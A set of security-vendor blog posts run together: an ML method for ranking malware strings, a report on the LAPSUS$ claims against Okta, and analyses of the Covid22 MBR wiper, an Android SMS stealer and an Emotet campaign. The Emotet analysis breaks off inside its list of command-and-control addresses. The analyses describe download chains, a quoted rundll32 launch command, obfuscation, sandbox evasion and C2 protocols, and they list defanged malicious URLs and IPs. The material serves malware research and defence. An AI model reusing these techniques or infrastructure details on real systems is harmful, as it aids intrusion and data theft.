Larger binaries can output upwards of tens of thousands of individual strings.
The definition of \"relevant” can vary significantly across individual human analysts.
Investigators would never want to miss an important clue that could have reduced their time spent performing the malware analysis, or even worse, led them to draw incomplete or incorrect conclusions.
In this blog post, we will demonstrate how the FireEye Data Science (FDS) and FireEye Labs Reverse Engineering (FLARE) teams recently collaborated to streamline this analyst pain point using machine learning.
Highlights Running the Strings program on a piece of malware inevitably produces noisy strings mixed in with important ones, which can only be uncovered after sifting and scrolling through the entirety of its messy output.
FireEye’s new machine learning model that automatically ranks strings based on their relevance for malware analysis speeds up this process at scale.
Knowing which individual strings are relevant often requires highly experienced analysts.
Quality, security-relevant labeled training data can be time consuming and expensive to obtain, but weak supervision that leverages the domain expertise of reverse engineers helps accelerate this bottleneck.
Our proposed learning-to-rank model can efficiently prioritize Strings outputs from individual malware samples.
On a dataset of relevant strings from over 7 years of malware reports authored by FireEye reverse engineers, it also performs well based on criteria commonly used to evaluate recommendation and search engines.
Background Each string returned by the Strings program is represented by sequences of 3 characters or more ending with a null terminator, independent of any surrounding context and file formatting.
These loose criteria mean that Strings may identify sequences of characters as strings when they are not human-interpretable.
For example, if consecutive bytes 0x31, 0x33, 0x33, 0x37, 0x00 appear within a binary, Strings will interpret this as “1337.”
However, those ASCII characters may not actually represent that string per se; they could instead represent a memory address, CPU instructions, or even data utilized by the program.
Strings leaves it up to the analyst to filter out such irrelevant strings that appear within its output.
For instance, only a handful of the strings listed in Figure 1 that originate from an example malicious binary are relevant from a malware analyst’s point of view.
Figure 1:
An example Strings output containing 44 strings for a toy sample with a SHA-256 value of eb84360ca4e33b8bb60df47ab5ce962501ef3420bc7aab90655fd507d2ffcedd .
Ranking strings in terms of descending relevance would make an analyst’s life much easier.
They would then only need to focus their attention on the most relevant strings located towards the top of the list, and simply disregard everything below.
However, solving the task of automatically ranking strings is not trivial.
The space of relevant strings is unstructured and vast, and devising finely tuned rules to robustly account for all the possible variations among them would be a tall order.
Learning to Rank Strings Output This task can instead be formulated in a machine learning (ML) framework called learning to rank (LTR) , which has been historically applied to problems like information retrieval, machine translation, web search, and collaborative filtering.
One way to tackle LTR problems is by using Gradient Boosted Decision Trees (GBDTs) .
GBDTs successively learn individual decision trees that reduce the loss using a gradient descent procedure, and ultimately use a weighted sum of every trees’ prediction as an ensemble.
GBDTs with an LTR objective function can learn class probabilities to compute each string’s expected relevance, which can then be used to rank a given Strings output.
We provide a high-level overview of how this works in Figure 2.
In the initial train() step of Figure 2, over 25 thousand binaries are run through the Strings program to generate training data consisting of over 18 million total strings .
Each training sample then corresponds to the concatenated list of ASCII and Unicode strings output by the Strings program on that input file.
To train the model, these raw strings are transformed into numerical vectors containing natural language processing features like Shannon entropy and character co-occurrence frequencies, together with domain-specific signals like the presence of indicators of compromise (e.g.
file paths, IP addresses, URLs, etc.
), format strings, imports, and other relevant landmarks.
Figure 2:
The ML-based LTR framework ranks strings based on their relevance for malware analysis.
This figure illustrates different steps of the machine learning modeling process: the initial train() step is denoted by solid arrows and boxes, and the subsequent predict() and sort() steps are denoted by dotted arrows and boxes.
Each transformed string’s feature vector is associated with a non-negative integer label that represents their relevance for malware analysis.
Labels range from 0 to 7, with higher numbers indicating increased relevance.
To generate these labels, we leverage the subject matter knowledge of FLARE analysts to apply heuristics and impose high-level constraints on the resulting label distributions.
While this weak supervision approach may generate noise and spurious errors compared to an ideal case where every string is manually labeled, it also provides an inexpensive and model-agnostic way to integrate domain expertise directly into our GBDT model.
Next during the predict() step of Figure 2, we use the trained GBDT model to predict ranks for the strings belonging to an input file that was not originally part of the training data, and in this example query we use the Strings output shown in Figure 1.
The model predicts ranks for each string in the query as floating-point numbers that represent expected relevance scores, and in the final sort() step of Figure 2, strings are sorted in descending order by these scores.
Figure 3 illustrates how this resulting prediction achieves the desired goal of ranking strings according to their relevance for malware analysis.
Figure 3:
The resulting ranking on the strings depicted in both Figure 1 and in the truncated query of Figure 2.
Contrast the relative ordering of the strings shown here to those otherwise identical lists.
The predicted and sorted string rankings in Figure 3 show network-based indicators on top of the list, followed by registry paths and entries.
These reveal the potential C2 server and malicious behavior on the host.
The subsequent output consisting of user-related information is more likely to be benign, but still worthy of investigation.
Rounding out the list are common strings like Windows API functions and PE artifacts that tend to raise no red flags for the malware analyst.
Quantitative Evaluation While it seems like the model qualitatively ranks the above strings as expected, we would like some quantitative way to assess the model’s performance more holistically.
What evaluation criteria can we use to convince ourselves that the model generalizes beyond the coverage of our weak supervision sources, and to compare models that are trained with different parameters?
We turn to the recommender systems literature, which uses the Normalized Discounted Cumulative Gain (NDCG) score to evaluate ranking of items (i.e.
individual strings) in a collection (i.e.
a Strings output).
NDCG sounds complicated, but let’s boil it down one letter at a time: “G” is for gain, which corresponds to the magnitude of each string’s relevance.
“C” is for cumulative, which refers to the cumulative gain or summed total of every string’s relevance.
“D” is for discounted, which divides each string’s predicted relevance by a monotonically increasing function like the logarithm of its ranked position, reflecting the goal of having the most relevant strings ranked towards the top of our predictions.
“N” is for normalized, which means dividing DCG scores by ideal DCG scores calculated for a ground truth holdout dataset, which we obtain from FLARE-identified relevant strings contained within historical malware reports.
Normalization makes it possible to compare scores across samples since the number of strings within different Strings outputs can vary widely.
Figure 4: Kernel Density Estimate of NDCG@100 scores for Strings outputs from the holdout dataset.
Scores are calculated for the original ordering after simply running the Strings program on each binary (gray) versus the predicted ordering from the trained GBDT model (red).
In practice, we take the first k strings indexed by their ranks within a single Strings output, where the k parameter is chosen based on how many strings a malware analyst will attend to or deem relevant on average.
For our purposes we set k = 100 based on the approximate average number of relevant strings per Strings output.
NDCG@ k scores are bounded between 0 and 1, with scores closer to 1 indicating better prediction quality in which more relevant strings surface towards the top.
This measurement allows us to evaluate the predictions from a given model versus those generated by other models and ranked with different algorithms.
To quantitatively assess model performance, we run the strings from each sample that have ground truth FLARE reports though the predict() step of Figure 2, and compare their predicted ranks with a baseline of the original ranking of strings output by Strings .
The divergence in distributions of NDCG@100 scores between these two approaches demonstrates that the trained GBDT model learns a useful structure that generalizes well to the independent holdout set (Figure 4).
Conclusion In this blog post, we introduced an ML model that learns to rank strings based on their relevance for malware analysis.
Our results illustrate that it can rank Strings output based both on qualitative inspection (Figure 3) and quantitative evaluation of NDCG@ k (Figure 4).
Since Strings is so commonly applied during malware analysis at FireEye and elsewhere, this model could significantly reduce the overall time required to investigate suspected malicious binaries at scale.
We plan on continuing to improve its NDCG@ k scores by training it with more high fidelity labeled data, incorporating more sophisticated modeling and featurization techniques, and soliciting further analyst feedback from field testing.
It’s well known that malware authors go through great lengths to conceal useful strings from analysts, and a potential blind spot to consider for this model is that the utility of Strings itself can be thwarted by obfuscation.
However, open source tools like the FireEye Labs Obfuscated Strings Solver (FLOSS) can be used as an in-line replacement for Strings .
FLOSS automatically extracts printable strings just as Strings does, but additionally reveals obfuscated strings that have been encoded, packed, or manually constructed on the stack.
The model can be readily trained on FLOSS outputs to rank even obfuscated strings.
Furthermore, since it can be applied to arbitrary lists of strings, the model could also be used to rank strings extracted from live memory dumps and sandbox runs.
This work represents a collaboration between the FDS and FLARE teams, which together build predictive models to help find evil and improve outcomes for FireEye’s customers and products .
If you are interested in this mission, please consider joining the team by applying to one of our job openings .
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Hackers belonging to the LAPSUS$ cybercrime group have published screenshots, allegedly taken from inside Okta’s information systems.
If the claims are true, they have access not only to the company’s website, but also to a number of other internal systems, including quite critical ones.
LAPSUS$ claims that they did not steal any data from the company itself, and that their targets were mainly Okta’s customers.
Judging by the dates on the screenshots, the attackers had access to the systems as early as January 2022.
What is Okta and why could the breach be so dangerous?
Okta develops and maintains identity and access management systems.
In particular, they provide a single sign-on solution.
A huge number of large companies employ Okta’s solutions.
Kaspersky Lab experts believe that the hacker’s access to Okta’s systems can explain a number of the rather high-profile data leaks from large companies, for which hackers from LAPSUS$ have already claimed responsibility.
How cybercriminals gain access to Okta’s systems?
At the moment there is no conclusive evidence that the hackers really gained access.
According to an Okta’s official statement , its specialists are currently conducting an investigation and the company promises to share details as soon as the investigation is completed.
It is possible that the published screenshots are related to the January incident, when an unknown actor tried to compromise the account of a technical support engineer working for a third-party subcontractor.
Updated on March 23, 2022: LAPSUS$ has published their reply to Okta’s official statement in which they accuse the company in attempts to downplay the impact of the breach.
Who are the LAPSUS$ group and what do we know about them?
LAPSUS$ gained fame in 2020 when they compromised the Brazilian Ministry of Health’s systems.
Presumably, this is a Latin American hacker group that steals information from large companies for ransom.
If the victims refuse to pay, the hackers publish the stolen information on the Internet.
Unlike many other ransomware groups, LAPSUS$ does not encrypt the data of hacked organizations, but simply threatens to leak the data in case of non-payment of the ransom.
Notable victims of LAPSUS$ include Nvidia, Samsung and Ubisoft.
In addition, they recently released 37 GB of code believed to be related to internal Microsoft projects.
How to stay safe?
At the moment it is impossible to say with absolute certainty that the incident really happened.
The publication of screenshots in itself is a rather strange move that may be aimed at self-promotion of the hackers, an attack on Okta’s reputation, or an attempt to hide the real method by which LAPSUS$ gained access to one of Okta’s clients.
That said, to play it safe our experts recommend Okta’s clients to employ the following protective measures: Enforce especially stringent monitoring of network activity and in particular of any activity related to authentication in internal systems; Provide staff with an additional cybersecurity hygiene training and prepare them to be alert and report on any suspicious activity; Perform a security audit of your organization’s IT infrastructure to reveal gaps and vulnerable systems; Restrict access to remote management tools from external IP addresses; Ensure that remote control interfaces can only be accessed from a limited number of endpoints; Follow the principle of offering staff limited privileges and grant high-privileged accounts only to those who need this to fulfil their job; Use ICS network traffic monitoring, analysis and detection solutions for better protection from attacks potentially threatening technological process and main enterprise assets.
Companies that do not have the internal resources to monitor suspicious activity in their IT infrastructure can employ the external experts .
FortiGuard Labs Threat Research Report Affected platforms : Microsoft Windows Impacted parties : Windows Users Impact : Unable to boot the machine Severity level : Medium Even now, almost two years after the COVID-19 pandemic started, there is no sign that cybercriminals will stop taking advantage of the situation as an attack vector.
This time, however, this attacker uses a COVID pandemic that has not yet happened as bait.
FortiGuard Labs recently discovered a new malware posing as a mysterious COVID22 installer.
While containing many of the features of \"joke\" malware, it is also destructive, causing infected machines to fail to boot.
Because it has no features for encrypting data demanding a ransom to undo the damage it inflicts, it is instead a new destructive malware variant designed to render affected systems inoperable.
This blog explains how this malware works.
Covid-22 in Action The malware file is named Covid22.
For those unfamiliar with the naming scheme, COVID-19 is a short form of Co rona v irus d isease, and 19 represents the year the outbreak was first identified.
The file name Covid22 plays off the current Coronavirus disease but applies that same image of fear and destruction to computers, potentially creating a cyber-pandemic in 2022.
While we don't know how exactly the malware was distributed, the malware author has tried to weaponize fear as bait to lure victims into opening the file.
While the malware itself is not sophisticated, it does take several actions designed to put fear into the victim before inducing true panic.
But before that, when first manually running the file, it asks whether the potential victim wants to install Covid-22 on their machine, as if it were an application.
Once the victim proceeds with the installation, the malware drops several malicious files before forcefully rebooting the machine.
Dropped files have file names that are simple and self-described for their actions.
They are listed below in sequence of execution.
Covid22Server.exe executes the commands in the dropped script.txt lol.vbs creates an endless loop of a MessageBox with \"Your PC has been infected by Covid-22 Corona Virus!
Enjoy the death of your pc!\" speakwh.vbs uses the computer's speaker to say \"coronavirus\" in a loop CoronaPopup.exe displays a pop-up with the title \"Covid-22 has infected your pc!\" and an image of the actual coronavirus ClutterScreen.exe clutters the screen by constantly moving blocks of pixels x.vbs displays the pop-up message, \"Corona Virus!\" 50 times noescapes.vbs displays the pop-up message \"THERE IS NO ESCAPE\"
10 times icons.exe fills the screen with red Xs final.vbs displays a pop-up message \"Bye!\" These are the classic actions of joke programs usually intended to annoy or make fun of users.
But the next activity is not laughable at all.
The malware drops and executes the malicious WipeMBR.exe wiper malware that destroys the Master Boot Record (MBR) by overwriting its first 512 bytes with zeros.
The malware then forces a machine reboot after displaying the following pop-up message: Because MBR has information about the partitions of the hard drive and acts as a loader for the operating system (OS), the compromised machine will not be able to load the OS upon reboot.
The good news for the users is that the malware does not destroy nor steal any files on the compromised device, meaning the victim can still recover user files from the hard drive.
The malware also does not demand ransom.
While the result is almost identical to another MBR wiper that Sonicwall posted a blog about in April 2020, our analysis did not show any resemblance in their wiper codes.
This newer variant simply overwrites the MBR with zeroes.
How to Repair a Damaged MBR Fixing an MBR is relatively easy in modern Windows.
After the affected machine reboots (sometimes it requires a few reboots), the system enters automatic repair mode.
First, choose Advanced Options, Troubleshoot.
Another Advanced Option should then let you use the Command Prompt.
From the Command Prompt, type and run \"bootrec.exe /fixmbr\".
An alternative and more straightforward option would be to choose Startup Repair on the screen to run the Command Prompt.
The downside of selecting Startup Repair is that it will take longer to complete the job.
If the automatic repair mode does not kick in for some reason, you'll need to boot the system off a recovery disk or drive.
Note that you'll need to change your BIOS settings to ensure the system boots from the recovery media first, or else the system will try to boot using the overwritten MBR leading to a boot error.
Once the system boots from recovery media, you should be able to choose to run the command prompt, whereby the user can run the command \"bootrec.exe /fixmbr\".
It is also vital to remind system administrators of the importance of backing up your data on external storage in case any of your files are ever damaged, encrypted, or destroyed.
You will also want to create recovery media beforehand, or else you will need to use a working machine, which can be difficult for home users after the damage is done.
Conclusion on COVID-22 Brings Disaster to MBR What looks to be a mere joke program is designed to bring destruction to impacted systems.
This time, luck was on the victim's side as the malware did not touch any user data, but the user may not be so lucky next time.
Imagine if the files on the compromised machine had been encrypted or destroyed and could not be recovered.
Always be mindful of executing unknown files received from the internet.
Fortinet Protections Fortinet customers are already protected from this malware by the FortiGuard Labs AntiVirus Service as used by FortiGate , FortiClient and FortiMail , and by FortiEDR as follows: W32/Ursu.558C!tr Malicious_Behavior.
SB VBS/BadJoke.8A6B!tr VBS/BadJoke.7182!tr VBS/BadJoke.84AB!tr VBS/BadJoke.0C12!tr VBS/BadJoke.
DF52!tr W32/BadJoke.
DCAB!tr FortiEDR detects the downloaded executable file as malicious based on its behavior.
IOCs Sample SHA-256: [Covid22.exe] 79f3b39797f0e85d9e537397a6f8966bc288d1b83ae1c313c825fbd17698879e [ClutterScreen.exe] 726DC8D52C9CF794412941BFBD27AF8F6FA27E72154A63F5C81A42BA40BD972D [CoronaPopup.exe] 80C9F65617386940153CC4D42E1097DEB79B4F9C98C67E6025BDC1CA03AD8FB7 [icons.exe] 496CABBD18530780A3CB75340BDDD7F74A71E84C83DF4D185CFC6EC71D14C41E [WipeMBR.exe] 5FC9080177A096DE2B717F2F2196867B6966900E129E5BC4E412D5DCA7ED9E60 [final.vbs] EA2EF4196586BF851D4DC422A04D51AD2CB552BF5AAE2DF361D1ED2D4842B4BA [lol.vbs] C88D3022B25EF86CD19CE99815AD26A1F9A201F69974577DA93E08328E047410 [noescapez.vbs] 3D519FC10BC2B6CAA5A27069DA55B1614CC97C1DFD4BCDC1DD7F36E686D913F1 [x.vbs] E22F004CF9E7C4C7B52BDA59DB2B57816992CB01FDBEF6675760FDD7BCD29728 [speakwh.vbs] 4624876389F6DDFB111FBBF3473D7C6B5555ED8A0F31C37E822A6FFEF5E27DE0 [Covid22Server.exe] 0C6DFAA12A98FB17058B79D283E96A3E34549D0AD2BE58F505AC8ABDE858D8A6 Learn more about Fortinet’s FortiGuard Labs threat research and intelligence organization and the FortiGuard Security Subscriptions and Services portfolio .
Learn more about Fortinet’s free cybersecurity training , an initiative of Fortinet’s Training Advancement Agenda (TAA), or about the Fortinet Network Security Expert program , Security Academy program , and Veterans program .
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FireEye Labs recently found a more advanced variant of Android.
MisoSMS, the SMS-stealing malware that we uncovered last December — yet another sign of cybercriminals’ growing interest in hijacking mobile devices for surveillance and data theft.
Like the original version of the malware, the new variant sends copies of users’ text messages to servers in China.
But the newest rendition adds a few features that make it harder to detect, including a new disguise, encrypted transmissions, and command-and-control (CnC) communications that are handled natively rather than over email.
FireEye Mobile Threat Prevention customers are already protected from both variants.
Both variants of MisoSMS use the same names for receivers and services.
While the old variant masquerades as an Android settings application, the new version presents itself as “Gplay Dsc” to the user.
The new variant also abandons SMTP email as the transport method.
It now handles all CnC communication natively in C++, making it harder for an analyst to analyze the malware by disassembling its ARM code.
The newer version also hard codes specific public DNS servers such as the following: resolver1.opendns.com
nscache.prserv.com resolver1.qwest.net resolver2.opendns.com google-public-dns-b.google.com google-public-dns-a.google.com mx1.oray.net.cn 183.136.132.176 183.136.132.170
The new MisoSMS attempts to resolve its CnC domain name(puk[dot]nespigt[dot]iego[dot]net) from one of these DNS servers.
In this way, MisoSMS stays quiet in sandbox environments, which typically use internal DNS servers and cut off access to outside networks.
If the malware cannot access the hard-coded DNS servers, it does nothing and is therefore not detected.
The new MisoSMS also uses a variant of the XTEA encryption algorithm to communicate with its CnC server.
The request and responses of the CnC server are structured so that the first four bytes of the request and response contain the length of the encrypted blob of data.
By skipping the first four bytes, we can decrypt the communications using the key embedded in the native binary.
Figure 1 shows MisoSMS registering a newly infected device with the CnC server.
The first four bytes in the encrypted payload mark the length of the message.
The rest of the payload contains information about the infected device.
[caption id=\"attachment_5080\" align=\"aligncenter\" width=\"621\"] Figure 1 - New Infection Registration[/caption] Figure 2 and Figure 3 show the SMS exfiltration mechanism, as seen in Figure 1, the first four bytes of the encrypted payload contains the length indicator of the payload.
The intercepted SMS message is sent to the CnC with the Device ID of the already compromised device.
[caption id=\"attachment_5078\"
align=\"aligncenter\" width=\"640\"] Figure 2 - Encrypted
CnC Communication containing stolen SMS[/caption] [caption id=\"attachment_5079\" align=\"aligncenter\" width=\"640\"] Figure 3 - Decrypted CnC Communication containing stolen SMS[/caption]
The domain name of the CnC is also encrypted and stored as a byte array in the native binary.
Once the encrypted byte array containing the CnC information is decrypted, the malware checks to see whether the CnC is a domain or an IP address.
That check is  meaningful.
Its existence implies the ability to change the CnC information dynamically.
And that ability, in turn, suggests that MisoSMS uses excerpts of publically available code.
The CnC server currently serves a Web page that resembles an Android app, as shown in Figure 4.
[caption id=\"attachment_5081\" align=\"aligncenter\" width=\"349\"] Figure 4 - CnC serving an webpage[/caption]
The Web page contains a link pointing to “hxxps://www.dropbox.com/s/t47d2nheqbhky64/%EA%B2%BD%20%EC%B0%B0%20%EC%B2%AD[dot]apk,” which is currently not available.
Like the website, the MisoSMS app itself displays Korean text.
The newest version of MisoSMS suggests that cyber attackers are increasingly eyeing mobile devices — and the valuable information they store — as targets.
It also serves as a vivid reminder of how crucial protecting this threat vector is in today’s mobile environment.
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FortiGuard Labs Research Affected platforms: Microsoft Windows Impacted parties: 64-bit Windows Users Impact:
Controls victim’s device and collects sensitive information Severity level:
Critical Recently, Fortinet’s FortiGuard Labs captured more than 500 Microsoft Excel files that were involved in a campaign to deliver a fresh Emotet Trojan onto the victim’s device.
Emotet, known as a modular Trojan, was first discovered in the middle of 2014.
Since then, it has become very active, continually updating itself.
It has also been highlighted in cybersecurity news from time to time.
Emotet uses social engineering, like email, to lure recipients into opening attached document files (including Word, Excel, PDF, etc.)
or clicking links within the content of the email that download Emotet’s latest variant onto the victim’s device and then execute it.
Our FortiGuard Labs team has monitored Emotet Trojan campaigns in the past and posted numerous technical analysis blogs .
This time, I grabbed an Excel file from the captured samples and conducted deep research on this campaign.
In this part I of my analysis, you can expect to learn: how an Excel file is leveraged to spread Emotet, what anti-analysis techniques Emotet uses in this variant, how it maintains persistence on a victim’s device, how this Emotet variant communicates with its C2 server, and how other modules are delivered, loaded, and executed on a victim’s system.
Looking into the Excel File I have set my Excel’s macro option to \"Disable all macros with notification\" in \"Macro Settings.\
"
That’s why it shows the yellow “Security Warning” bar when an opened Excel file contains a Macro, as shown in Figure 1.1.
This image shows the fake message used to lure a victim into clicking the “Enable Content” button to view the protected content of the Excel file.
The malicious Macro has a function called “Workbook_Open()” that is executed automatically in the background when the Excel file opens.
It calls other local functions to write data to two files: \"uidpjewl.bat\" and \"tjspowj.vbs\" in the “C:\\ProgramData\\” folder.
The written data is read out from multiple cells of this Excel file.
In the end, the Macro executes the \"tjspowj.vbs\" file with “wscript.exe.”
Refer to Figure 1.2 for more information.
VBS and PowerShell The code in “tjspowj.vbs” is obfuscated.
See Figure 2.1.
The top part is the original code and the bottom part is the normalized code.
It tries to download Emotet (into a local file, \"c:\\programdata\\puihoud.dll\", that is hardcoded in the PowerShell) from a group of websites until any download is successfully completed.
Meanwhile, the caller “tjspowj.vbs” file takes responsibility for running the downloaded Emotet with the command \" cmd /c start /B
c:\\windows\\syswow64\\rundll32.exe c:\\programdata\\puihoud.dll,tjpleowdsyf \" .
“C:\\Windows\\SysWOW64\\” is a system folder created by Microsoft for storing 32-bit files.
“WOW64” is the x86 emulator that allows 32-bit Windows applications to run on 64-bit Windows.
It only exists in 64-bit architecture Windows.
In other words, although the downloaded Emotet file was compiled for 32-bit architecture, this variant only affects 64-bit Windows users.
It terminates execution and pops up an error message when it runs on a 32-bit Windows because the file is not found.
“rundll32.exe” is a system file that loads and runs 32-bit dynamic-link library (DLL) files.
It uses the command line syntax “rundll32.exe DLLname,<Export Function>”, where the “Export Function” is optional.
“puihoud.dll” is the DLL name for this Emotet and the subsequent export function name (“tjpleowdsyf”) is a random string.
In an analysis tool, I found it only has one export function, called “DllRegisterServer()”.
Let’s see what happens with a random export function.
Start Emotet in Rundll32
Once the Emotet file (“puihoud.dll”) is loaded by “rundll32.exe”, its entry point function is called the very first time.
It then calls the DllMain() function where it loads and decrypts a 32-bit Dll into its memory from a “Resource” named “HITS”.
The decrypted Dll is the core of this Emotet, which will be referred to as “X.dll” in this analysis due to a hardcoded constant string in its code, as shown below.
10024030 ; Export Ordinals Table for X.dll 10024032 aX_dll          db 'X.dll' ,0 10024038
aDllregisterser db 'DllRegisterServer',0 Figure 3.1 shows the relevant functions used to decrypt and deploy the decrypted “X.dll”, which is in memory.
The EntryPoint() function of “X.dll” is called after its deployment.
“X.dll” checks if the export function name from the command line parameter is “DllRegisterServer”.
If not, it runs the command line again with “DllRegisterServer” instead of the random string, like \"C:\\Windows\\system32\\rundll32.exe c:\\programdata\\puihoud.dll,DllRegisterServer\" (see step 1 & 2 in Figure 3.3).
It then calls ExitProcess() to exit the first “rundll32.exe”.
In Figure 3.2 it is about to call the API CreateProcessW() to run the new command.
When Emotet is running with the “DllRegisterServer” export function, it will normally exit from X.dll’s EntryPoint() as well as puihoud.dll’s EntryPoint() (step 3 in Figure 3.3).
Next, rundll32 calls the API GetProcAddress() to gather the export function “DllRegisterServer” from “puihoud.dll” and call it.
Finally, puihoud.dll!DllRegisterServer calls X.dll!
DllRegisterServer() (step 4 in Figure 3.3).
This is also pretty much the way rundll32.exe loads and runs a dll file with an export function.
X.dll!DllRegisterServer() is the real starting point for executing malicious things on the victim’s device.
Anti-Analysis Techniques To protect its code from being analyzed, Emotet uses anti-analysis techniques.
In this section I will explain what kinds of such techniques this variant uses.
Code Flow is Obfuscated In most functions, it mixes the code flow with lots of “goto” statements.
It has a local variable, called “switch_number” by me, that holds a dynamic number to control how it executes the code.
The logic is that all codes are enclosed in a “while infinite loop” statement, which determines which code flow to enter (“goto”) according to the value of “switch_number”.
And “switch_number” is modified each time after being used, then once the code branch task is finished it goes back to the “while” statement to check the “switch_number” again.
This technique really causes trouble for security researchers trying to analyze the function’s intention and trace its code.
Figure 4.1 is a pseudo code in C that reveals the obfuscated code flow.
Strings are Encrypted All constant strings are encrypted and are only decrypted just before being used.
The constant strings are usually very useful hints for researchers to quickly locate the key point of the malware.
Constant Numbers are Obfuscated Normally, the constant numbers are useful to researchers for guessing the code’s purpose.
Here is an example.
The instruction “mov [esp+2ACh+var_1A0], 2710h” has been obfuscated, as seen in the three instructions below.
mov     [esp+2ACh+var_1A0], 387854h or      [esp+2ACh+var_1A0],
0F1FDFF8Dh xor     [esp+2ACh+var_1A0], 0F1FDD8CDh
All APIs are hidden The APIs are obtained using a hash code of both the API name and the module name that the function belongs to.
Each time Emotet needs to call an API, it calls a local function to obtain it in the EAX register and then calls it.
Figure 4.2 is an example of calling API GetCommandLineW(), where 0xB03E1C69 is the hash code of module “kernel32” and 0x4543B55E is the hash code of “GetCommandLineW”.
Communicating with the C2 Server Once Emotet finishes collecting the basic information from the victim’s device, it calls the API BCryptEncrypt() to encrypt the data.
Let’s look at the kind of data contained in the collected data, as shown in Figure 5.1.
The 60H bytes data in memory is the plaintext data to be encrypted.
Let me explain what most of the data is.
0x20 , at offset+4, is the size of sha256 hash code followed, which includes the bytes starting from offset+8 to offset+0x27 (A0 C9 … 68 F8).
That is a sha256 hash code of the entire following data, starting at offset+28h.
0x2C , at offset+28h, is the size of the following data.
The next 0x10 is the length of the victim’s ID (“BOBSXPC_9C09B592”), which is a combination of the computer name and the system driver’s volume number.
To obtain this information, Emotet calls APIs like GetComputerName(), GetWindowsDirectoryW(), and GetVolumeInformationW().
The following dword 0x29C220DD is a hash code of Emotet Dll’s full path.
0x13465AA is a constant value defined in its code.
It may be a malware ID of this Emotet.
0x2710 is another constant value, and I suppose it is a sort of version of this variant.
0x19E7D is a combination of the victim’s system information, including Windows version, architecture, and so on.
To get this information it needs to call APIs RtlGetVersion() and GetNativeSystemInfo().
0x01 at offset+50h is a current process ID (rundll32.exe) related value.
The last data, starting at offset+58h, is meaningless padding (AB AB AB…).
The encrypted binary data will be converted into base64 string by calling the API CryptBinaryToStringW().
The base64 string is submitted to the C2 server as a “Cookies” value in an HTTP Get request.
In the example shown in Figure 5.2, as you may have noticed, the Cookie name and URL are randomized by Emotet to bypass the cybersecurity device’s detection.
In total, there are 49 C2 servers (IP address and port) hardcoded and encrypted within this variant.
Please refer to the “C2 Server List” under the “IOCs” section for all the IP addresses and ports.
The C2 server detects the submitted data to determine next steps, including replying with Emotet modules and commands for further actions.
The replied data is encrypted binary data in the HTTP response body.
In Figure 5.3, below, the marked box is an example of the data just after decryption.
The decrypted data is 60H long and contains both verification data and control data.
0x40 at the beginning is the size of the verification data, the signature data (31 1B … 3C 6D), which is a signed hash of the control data.
The received data must pass verification, otherwise it drops the packet.
The control data starts from offset+54H to the end.
0x8 is the size of the following data.
The control data in this packet is two dword numbers — 0x00.
The first 0x00 is a flag that can be 0, 1, or 8.
If the flag is 8, Emotet will uninstall itself from the victim’s device, including removing the auto-run item from system registry, deleting the file(s) or folder(s) it created, as well as deleting the Emotet Dll file.
If the flag is 0 and the second dword is not 0 (it should be the size of the attached module to this packet), it executes the module on the victim’s device.
If the flag is 1, it goes to the flag 0’s branch.
I’ll explain this part in more detail in the next part of this analysis.
Relocate and Persistent Once Emotet receives a valid response from the C2 server, it relocates the downloaded Emotet dll file from “C:\\Windows\\ProgramData\\puihoud.dll” (in my analysis environment) into the “%LocalAppData%” folder.
Moreover, to remain in the victim’s device, Emotet makes itself persistent by adding the relocated file into the auto-run group in the system registry.
Emotet is then able to run at system startup.
Figure 6.1 is a screenshot of the Registry Editor displaying the auto-run item in the system registry.
Conclusion In this post we have walked through the malicious Macro within a captured Excel file, which downloads Emotet via two extracted files, \"uidpjewl.bat\" and \"tjspowj.vbs\".
We then went through how the downloaded Emotet Dll file is run in a rundll32.exe process as well as how it extracts the Emotet core X.dll from its “Resource”.
I also explained what kinds of anti-analysis techniques this Emotet uses to protect its code from being analyzed.
And finally, I elaborated on what kind of data Emotet collects from the victim’s system and how the binary data is encrypted and converted into base64 string and finally submitted to its C2 server via an HTTP packet.
In the next part of this analysis, I will focus on those returned modules from Emotet’s C2 server and how they are executed by Emotet, as well as what sensitive data they are able to steal from the victim’s device.
Please stay tuned.
Fortinet Protections Fortinet customers are already protected from this malware by FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, FortiEDR, and CDR (content disarm and reconstruction) services, as follows:
The malicious Macro inside the Excel sample can be disarmed by the FortiGuard CDR (content disarm and reconstruction) service.
All relevant URLs have been rated as \" Malicious Websites \" by the FortiGuard Web Filtering service.
The captured Excel sample and the downloaded Emotet dll file are detected as \" VBA/Emotet.2826!tr.dldr \" and \" W32/Emotet.
B185!tr \" and are blocked by the FortiGuard AntiVirus service.
FortiEDR detects both the Excel file and Emotet dll file as malicious based on its behavior.
In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training : NSE 1 – Information Security Awareness .
It includes a module on Internet threats that is designed to help end users learn how to identify and protect themselves from phishing attacks.
IOCs URLs Involved in the Campaign: \"hxxps[:]//youlanda[.
]org/eln-images/n8DPZISf/\" \"hxxp[:]//rosevideo[.
]net/eln-images/EjdCoMlY8Gy/\" \"hxxp[:]//vbaint[.
]com/eln-images/H2pPGte8XzENC/\" \"hxxps[:]//framemakers[.
]us/eln-images/U5W2IGE9m8i9h9r/\" \"hxxp[:]//niplaw[.
]com/asolidfoundation/yCE9/\" \"hxxp[:]//robertmchilespe[.
]com/cgi/3f/\" \"hxxp[:]//vocoptions[.
]net/cgi/ifM9R5ylbVpM8hfR/\" \"hxxp[:]//missionnyc[.
]org/fonts/JO5/\" \"hxxp[:]//robertflood[.
]us/eln-images/DGI2YOkSc99XPO/\" \"hxxp[:]//mpmcomputing[.
]com/fonts/fJJrjqpIY3Bt3Q/\" \"hxxp[:]//dadsgetinthegame[.
]com/eln-images/tAAUG/\" \"hxxp[:]//smbservices[.
]net/cgi/JO01ckuwd/\" \"hxxp[:]//stkpointers[.
]com/eln-images/D/\" \"hxxp[:]//rosewoodcraft[.
]com/
Merchant2/5[.
]00/PGqX/\" C2 Server List in this Variant: (49 in total
) 185[.]248[.]140[.
]40:443 8[.
]9
[.
]11
[.
]48:443
200[.
]17
[.
]134
[.
]35:7080
207[.
]38
[.
]84
[.
]195:8080
79[.
]172 [.
]212
[.
]216:8080
45[.
]176
[.
]232
[.
]124:443 45[.
]118
[.
]135 [.
]203:7080 162[.
]243 [.
]175
[.
]63:443 110[.]232[.]117[.
]186:8080
103[.]75[.]201[.
]4:443 195[.]154[.]133[.
]20:443 160[.]16[.]102[.
]168:80 164[.]68[.]99[.
]3:8080 131[.]100[.]24[.
]231:80 216[.]158[.]226[.
]206:443 159[.]89[.]230[.
]105:443 178[.]79[.]147[.
